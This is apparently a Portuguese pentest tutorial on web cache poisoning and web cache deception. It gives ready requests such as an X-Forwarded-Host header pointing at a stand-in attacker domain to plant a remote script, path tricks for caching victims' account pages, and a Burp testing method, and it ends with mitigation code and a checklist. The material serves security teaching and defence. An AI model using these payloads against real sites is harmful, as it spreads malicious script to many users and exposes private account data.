Caches existem para uma coisa: entregar a mesma resposta a muita gente sem incomodar o servidor de origem a cada requisição. Um CDN, um proxy reverso (Varnish, Nginx, Cloudflare) ou até o cache do navegador guardam uma resposta e a reentregam para quem pedir “o mesmo recurso”. O problema nasce exatamente aí: a definição de “o mesmo recurso” raramente é tão precisa quanto o desenvolvedor imagina. Quando o atacante consegue influenciar o que é armazenado — ou enganar o cache sobre o que pode ser armazenado — ele transforma uma camada de performance em uma camada de ataque.
Existem duas famílias distintas que exploram esse descompasso. No Web Cache Poisoning, o atacante injeta conteúdo malicioso em uma entrada de cache que passa a ser servida para todos os usuários. No Web Cache Deception, ele engana o cache para que armazene uma página autenticada da vítima, que depois ele recupera anonimamente. São mecanismos opostos — um empurra lixo para dentro, o outro puxa segredo para fora — mas ambos brotam da mesma raiz: a forma como o cache decide o que é “a mesma” resposta.
Como funciona: a cache key e os inputs não-keyed
Um cache não compara requisições byte a byte. Ele calcula uma chave de cache (cache key) a partir de um subconjunto da requisição e usa essa chave como índice. Tipicamente a chave inclui:
- o método (
GET), - o host (
Hostou o:authoritydo HTTP/2), - o path (
/produtos/123), - e, às vezes, alguns parâmetros de query selecionados.
Tudo o que entra na chave é keyed. Tudo o que não entra é unkeyed (não-keyed). E aqui está o detalhe explorável: vários cabeçalhos não-keyed afetam a resposta gerada pela aplicação, mesmo sem fazer parte da chave. O cache trata duas requisições com Host e path idênticos como “a mesma”, ignorando que um cabeçalho como X-Forwarded-Host mudou completamente o HTML produzido.
Considere uma aplicação que monta URLs absolutas a partir de um cabeçalho de proxy:
GET /pt/sobre HTTP/1.1
Host: loja.exemplo.com
X-Forwarded-Host: loja.exemplo.com
A aplicação, atrás do CDN, usa X-Forwarded-Host para gerar links canônicos e tags do tipo:
<link rel="canonical" href="https://loja.exemplo.com/pt/sobre" />
<script src="https://loja.exemplo.com/static/app.js"></script>
O cabeçalho X-Forwarded-Host não está na cache key, mas está refletido na resposta. Esse é o gatilho perfeito para envenenamento.
Os cabeçalhos de diagnóstico
Antes de explorar, é preciso confirmar que existe um cache e ler o que ele diz sobre cada resposta. Os cabeçalhos que mais importam:
X-Cache: hit/X-Cache: miss— indica se a resposta veio do cache (hit) ou da origem (miss). Não é padronizado; cada stack usa um nome próprio:cf-cache-status(Cloudflare),X-Cache-Status(Nginx),X-Served-By/X-Cache(Fastly/Varnish).Age: 137— cabeçalho HTTP padrão (RFC 9111): há quantos segundos a resposta está no cache compartilhado. Se cresce a cada requisição ao mesmo path, é a mesma entrada cacheada sendo reentregue.Cache-Control— diretiva da origem que governa cacheabilidade (public,private,no-store,no-cache,max-age,s-maxage).
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Age: 42
X-Cache: hit
Esse conjunto é o seu instrumento. Se você manda uma requisição, recebe X-Cache: miss, manda de novo e recebe X-Cache: hit com Age crescente, você está olhando para uma resposta cacheada — e qualquer coisa que tenha entrado nela na primeira vez será reentregue às vítimas seguintes.
A anatomia do Web Cache Poisoning
O envenenamento acontece em dois tempos. Primeiro, o atacante faz uma requisição que injeta um payload através de um input não-keyed. A origem reflete esse payload na resposta e o cache a armazena sob a chave “limpa” (path normal, sem nada suspeito na chave). Segundo, qualquer vítima que peça aquele mesmo path recebe a resposta envenenada do cache, sem nunca tocar no payload original.
A requisição de envenenamento:
GET /pt/sobre HTTP/1.1
Host: loja.exemplo.com
X-Forwarded-Host: atacante.exemplo-evil.com
Se a aplicação reflete X-Forwarded-Host sem validar, a resposta passa a carregar um recurso de um domínio controlado pelo atacante:
<script src="https://atacante.exemplo-evil.com/static/app.js"></script>
A cache key continua sendo GET loja.exemplo.com /pt/sobre — idêntica à de um usuário legítimo. O cache armazena essa resposta envenenada. A partir desse instante, todo visitante de /pt/sobre recebe o <script> apontando para o servidor do atacante, que serve JavaScript arbitrário no contexto da origem confiável. Isso é XSS persistente entregue em escala de CDN, sem precisar de uma única interação da vítima.
Nota de teste. Na prática, antes de envenenar a chave real, use um cache buster — um parâmetro de query único, p. ex.
/pt/sobre?cb=12345— para isolar uma chave exclusiva sua durante a descoberta. Só depois de confirmar reflexão e cacheabilidade você ataca o path “limpo” que as vítimas realmente acessam. Em ambiente autorizado isso evita derrubar o serviço acidentalmente e mantém o controle sobre o que está envenenado.
Confirmando o envenenamento com os cabeçalhos de diagnóstico — a resposta reentregue para outros usuários vem com X-Cache: hit e Age crescente, provando que o payload está fixado no cache, não sendo regerado a cada requisição:
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Age: 95
X-Cache: hit
...
<script src="https://atacante.exemplo-evil.com/static/app.js"></script>
O <script> é o caso mais grave, mas o mesmo mecanismo serve para redirecionamento aberto (envenenar um Location ou um meta-refresh para mandar todos a um site de phishing), negação de serviço (refletir um cabeçalho que quebra a renderização e cachear a página quebrada) e injeção de conteúdo em geral.
Variações e bypasses
Cabeçalhos não-keyed além do óbvio. X-Forwarded-Host é o clássico, mas a lista é longa e varia por stack: X-Host, X-Forwarded-Scheme, X-Forwarded-Proto, X-Forwarded-Server, X-Original-URL, X-Rewrite-URL, Forwarded, X-Forwarded-Port. Um par especialmente útil é X-Forwarded-Scheme combinado com X-Forwarded-Host: em alguns frameworks, qualquer valor de X-Forwarded-Scheme diferente de https faz a aplicação gerar um redirect 302 para a versão HTTPS de si mesma — e, se X-Forwarded-Host também for refletido, o Location desse redirect aponta para https://atacante.exemplo-evil.com/.... O resultado é qualquer página cacheada virando um redirect para o domínio do atacante. (Esse é exatamente o comportamento do lab “Web cache poisoning with multiple headers” da PortSwigger.)
Parâmetros não-keyed. Nem só de cabeçalhos vive o poisoning. Se o cache exclui certos query params da chave (ex.: ignora utm_source, lang ou parâmetros desconhecidos), mas a aplicação os reflete, você tem o mesmo problema com a URL: ?lang=<payload> que não entra na chave, mas aparece no HTML.
Fat GET. Alguns backends leem parâmetros do corpo de uma requisição GET, enquanto o cache só chaveia pela linha de requisição. Mandar um GET com body permite influenciar a resposta por um canal que a chave ignora por completo. (O Param Miner detecta esse caso com a opção de fat GET.)
Cache key normalization / discrepâncias de parsing. O cache e a origem podem discordar sobre o que é “o mesmo path”. Diferenças em como cada um trata maiúsculas, codificação de %, barras duplicadas e delimitadores criam cache key injection — o atacante envenena uma chave que a vítima vai acabar batendo.
Cache poisoning encadeado. Um input não-keyed pode não ser refletido diretamente, mas alterar outro cabeçalho de resposta (ex.: um Vary mal configurado, um Set-Cookie ou um redirect interno) que, por sua vez, abre o vetor. Vale testar a cadeia inteira, não só reflexão imediata no corpo.
E o Web Cache Deception
A deception é uma variação conceitualmente distinta o suficiente para merecer seção própria — e é o oposto do poisoning. Aqui o atacante não injeta nada: ele explora uma discrepância de interpretação de path entre a aplicação e o cache para fazer o cache armazenar uma resposta autenticada que deveria ser privada.
A regra ingênua de muitos CDNs é: “cacheie tudo que termina em .css, .js, .png, .svg — são estáticos”. O ataque consiste em construir uma URL que a aplicação interpreta como uma página dinâmica autenticada, mas que o cache interpreta como arquivo estático:
GET /account.php/nonexistent.css HTTP/1.1
Host: app.exemplo.com
Cookie: session=<sessão da VÍTIMA>
Se o servidor de aplicação ignora o sufixo /nonexistent.css e serve a página de conta (/account.php) com os dados da vítima, mas o CDN olha apenas a extensão final (.css) e decide cachear, o resultado é catastrófico: a página de conta da vítima — nome, e-mail, endereço, tokens — fica armazenada no cache sob a URL /account.php/nonexistent.css.
O fluxo do ataque:
- O atacante envia para a vítima autenticada o link
https://app.exemplo.com/account.php/nonexistent.css. - A vítima (logada) abre o link. Sua requisição carrega o cookie de sessão, e a origem serve a página de conta dela. O CDN, vendo a extensão
.css, decide cachear a resposta — e, crucialmente, não inclui oCookiena cache key. A entrada fica indexada apenas pela URL. - O atacante acessa a mesma URL
https://app.exemplo.com/account.php/nonexistent.csssem estar logado (sem cookie). Como o cache não chaveia por cookie, ele recebe do cache a cópia da página da vítima.
HTTP/1.1 200 OK
Content-Type: text/html
Cache-Control: public, max-age=600
X-Cache: hit
Age: 8
...
<h2>Olá, Maria — saldo: R$ 4.231,00</h2>
A discrepância de parsing é o coração do ataque. A PortSwigger organiza as variantes em quatro classes, todas úteis como base de teste:
- Path mapping — a origem mapeia para um arquivo (
/account.php) e ignora o segmento extra; o cache trata a URL inteira como recurso estático. Ex.:/account.php/x.css,/account.php/x.js. - Delimitadores — um caractere que a origem trata como delimitador (truncando o path) mas o cache não. O clássico é
;em Java Spring (matrix variables):/account;x.css. A origem lê/account; o cache vê a extensão.css. - Decodificação de delimitadores — delimitadores codificados que só um dos dois decodifica, p. ex.
%23(#),%3f(?),%00(\0):/account%23x.css,/account%3fx.css. - Normalização — divergência ao resolver
..e barras:/static/..%2faccount/x.css, barras duplicadas//account/x.css.
Cuidado com
#e?literais. O caractere#não chega ao servidor: o navegador o trata como fragmento e trunca a URL ali — por isso ele só é útil na forma codificada%23. E?literal vira separador de query string em todo lugar, então/account.php?x.cssraramente produz a discrepância desejada; é a forma codificada%3fque cria a divergência. Use as versões encodadas ao montar os testes de delimitador.
Cada combinação de servidor + CDN reage diferente; o objetivo é achar uma em que a origem entrega a página privada e o cache decide guardá-la.
Como exploramos no pentest
Passo 1 — Identificar o cache. Mande requisições no Burp Suite e leia as respostas procurando X-Cache, cf-cache-status, Age, Via, X-Served-By, X-Varnish. Repita a mesma requisição duas vezes: se a segunda volta com hit e Age crescente, há cache.
Passo 2 — Descobrir inputs não-keyed. A ferramenta-chave é a extensão Param Miner (Burp/BApp Store), de James Kettle (albinowax). Clique com o botão direito na requisição e use “Guess headers” (e também “Guess cookies” / “Guess params”): ela injeta milhares de cabeçalhos candidatos com um valor canário único e detecta quais afetam a resposta sem fazer parte da cache key — seja refletindo o canário, seja mudando a resposta. Ela já adiciona cache busters automaticamente para isolar suas chaves de teste, e tem opções específicas para poisoning (ex.: detecção de fat GET e o modo “twitchy” para entradas não refletidas). É o passo que separa adivinhação de método.
Passo 3 — Provar reflexão e cacheabilidade. Para cada cabeçalho candidato (ex.: X-Forwarded-Host: canario123.com), confirme manualmente: a resposta reflete canario123.com? A resposta é cacheável (Cache-Control: public, sem Set-Cookie)? Use o Repeater com um cache buster próprio: mande com o payload, depois mande sem o cabeçalho no mesmo path bustado — se a versão limpa volta com X-Cache: hit e ainda contém canario123.com, está envenenado.
Passo 4 — Construir o payload mínimo. Substitua o canário por um valor demonstrativo controlado (um domínio seu que serve um app.js inócuo, ou um redirect para uma página de aviso). O objetivo no pentest é provar impacto sem causar dano: nunca deixe um payload realmente armado envenenando o path real em produção; demonstre sobre uma chave isolada (cache buster) com um recurso benigno e documente o potencial. Se precisar mesmo tocar a chave real para evidência, registre a janela de TTL (max-age) e como reverter (purge/expiração).
Passo 5 — Testar deception. Pegue endpoints autenticados que retornam dados sensíveis (/account, /profile, /settings) e aplique as variantes da seção anterior: /account/x.css, /account.php/x.js, /account;x.css, e as formas codificadas %2f, %23, %3f. Para cada uma, verifique no Repeater se a origem ainda serve a página autenticada e se a resposta é cacheada (X-Cache: hit na segunda requisição). Confirme o vazamento abrindo a mesma URL em uma sessão anônima (outro navegador/aba privada, sem cookie) e veja se os dados da vítima aparecem.
Ferramentas de apoio. Turbo Intruder para fuzzar rapidamente centenas de variações de path/extensão e cabeçalhos com controle fino de timing e da cache key. Param Miner para os cabeçalhos/cookies/params não-keyed. O Comparer do Burp para diferenciar resposta envenenada da limpa. E sempre os cabeçalhos de diagnóstico como árbitro final.
Resumo para o relatório
- Impacto: Web Cache Poisoning permite servir JavaScript malicioso, redirects de phishing ou conteúdo adulterado a todos os usuários de um recurso cacheado (XSS persistente em escala de CDN, defacement, DoS). Web Cache Deception expõe páginas autenticadas — dados pessoais, tokens de sessão/CSRF, informações financeiras — de vítimas a atacantes não autenticados.
- Severidade: Alta a Crítica. Poisoning com execução de script tende à faixa Alta–Crítica (CVSS ~8.0–9.3: afeta muitos usuários, baixa complexidade), mas o score final depende do escopo e da janela de cache. Deception com vazamento de PII/tokens fica na faixa Alta–Crítica conforme a sensibilidade dos dados expostos.
- Pré-condições: Existência de um cache compartilhado (CDN/proxy reverso) à frente da aplicação; um input não-keyed que afeta a resposta (poisoning) ou discrepância de interpretação de path entre origem e cache que faça uma página autenticada parecer estática (deception).
- Evidência sugerida: Request de envenenamento com o cabeçalho não-keyed e o payload; response com
X-Cache: hit+Agecrescente exibindo o payload refletido; para deception, a request autenticada da vítima, a response cacheada e a recuperação da mesma URL em sessão anônima mostrando os dados vazados. Inclua os cabeçalhosCache-Control,Age,X-Cache/cf-cache-statusem cada captura.
Como mitigar
A correção ataca a causa: o descompasso entre o que afeta a resposta e o que entra na chave de cache. Há dois caminhos para o poisoning e uma regra de ouro para a deception.
1. Não reflita cabeçalhos de entrada sem validação
A origem nunca deveria construir URLs absolutas a partir de cabeçalhos controláveis pelo cliente. Use um host canônico fixo, definido pela configuração, e não pelo request.
# ERRADO: confia em cabeçalho controlável pelo cliente
host = request.headers.get("X-Forwarded-Host") or request.host
canonical = f"https://{host}/pt/sobre" # <- envenenável
# CERTO: host canônico fixo, vindo de configuração
CANONICAL_HOST = "loja.exemplo.com"
canonical = f"https://{CANONICAL_HOST}/pt/sobre"
Se a aplicação precisa mesmo confiar em cabeçalhos de proxy (porque está atrás de um balanceador), faça-o apenas para proxies confiáveis, com uma allowlist explícita de valores permitidos para Host/X-Forwarded-Host, rejeitando qualquer outra coisa.
2. Inclua todos os inputs relevantes na cache key — ou normalize-os antes da origem
Se um cabeçalho afeta a resposta, ele precisa estar na chave. No nível do CDN, isso costuma ser configurável. Exemplo em Varnish (VCL), removendo os cabeçalhos hostis e incorporando à chave apenas um cabeçalho que de fato altera a resposta:
# Varnish VCL: o que afeta a resposta deve compor a chave (via hash)
sub vcl_recv {
# Normaliza/remove cabeçalhos não confiáveis antes de chavear e encaminhar
unset req.http.X-Forwarded-Host;
unset req.http.X-Host;
unset req.http.X-Forwarded-Scheme;
}
sub vcl_hash {
# Se algum cabeçalho legítimo varia a resposta, inclua-o na chave
hash_data(req.http.Accept-Language);
}
A abordagem mais segura e mais simples para cabeçalhos hostis é a remoção/normalização na borda: o CDN apaga X-Forwarded-Host, X-Host, X-Forwarded-Scheme e similares antes de encaminhar para a origem, eliminando o canal de injeção. Só preserve (e chaveie) os cabeçalhos estritamente necessários.
3. Nunca cacheie respostas autenticadas ou personalizadas
Esta é a defesa central contra deception — e uma camada extra contra poisoning. Qualquer resposta que dependa da sessão deve ser explicitamente não-cacheável:
# Toda resposta autenticada/personalizada sai com diretivas restritivas
@app.after_request
def proteger_cache(resp):
if usuario_autenticado():
resp.headers["Cache-Control"] = "no-store, private"
resp.headers["Vary"] = "Cookie"
return resp
no-store é a diretiva forte: proíbe qualquer cache (compartilhado ou de navegador) de armazenar a resposta — é ela que de fato barra a deception. private reforça que caches compartilhados (CDN/proxy) não devem armazenar, mesmo onde no-store seja ignorado. Vary: Cookie é uma rede de segurança: se algo escapar e for cacheado, sessões diferentes não colidem na mesma entrada. Configure o CDN para respeitar essas diretivas — muitos têm overrides que ignoram a origem e precisam ser ajustados.
4. Normalize paths e seja explícito sobre o que é cacheável
A deception morre quando a regra do CDN deixa de ser “cacheie por extensão” e passa a ser “cacheie apenas paths estáticos conhecidos”. Em vez de uma blocklist de extensões dinâmicas, use uma allowlist de prefixos estáticos:
# Nginx: cacheie SOMENTE o diretório estático conhecido; o resto, nunca.
location /static/ {
proxy_cache cdn_cache;
proxy_cache_valid 200 10m;
proxy_pass http://app_backend;
}
location / {
proxy_cache off; # dinâmico/autenticado nunca é cacheado
proxy_pass http://app_backend;
}
Complementarmente, faça origem e cache concordarem sobre o path: rejeite na origem requisições com sufixos suspeitos (/account.php/qualquer.css deve dar 404, não servir a conta), e normalize %2f, barras duplicadas, ; e delimitadores codificados de forma idêntica nas duas camadas. A discrepância de parsing é o combustível — elimine-a.
Checklist de mitigação
- Nunca refletir
Host/X-Forwarded-Host/X-Forwarded-Schemee afins na resposta; usar host canônico fixo de configuração. - Remover ou normalizar cabeçalhos não confiáveis na borda (CDN) antes de encaminhar à origem.
- Garantir que todo input que afeta a resposta entre na cache key (ou seja eliminado antes da origem).
- Respostas autenticadas/personalizadas com
Cache-Control: no-store, privateeVary: Cookie— e CDN configurado para respeitar isso. - CDN cacheando por allowlist de paths estáticos, não por extensão de arquivo.
- Origem e cache com parsing de path idêntico; rejeitar sufixos estáticos em rotas dinâmicas (
/account.php/x.css→404) e normalizar delimitadores codificados (%2f,%23,%3f). - Não permitir que
GETleia parâmetros do corpo (eliminar fat GET). - Monitorar
X-Cache,AgeeCache-Controlem produção; alertar sobre páginas autenticadas servidas comhit.
Cache poisoning e cache deception são duas faces da mesma confusão: o cache e a aplicação discordam sobre o que é “a mesma resposta”. Um envenena a entrada para servir o mesmo veneno a todos; o outro engana a saída para roubar o segredo de um. A defesa, em ambos, é fazer com que o que decide a resposta e o que decide a chave sejam a mesma coisa — e nunca, jamais, deixar uma resposta privada repousar num cache que qualquer um pode ler.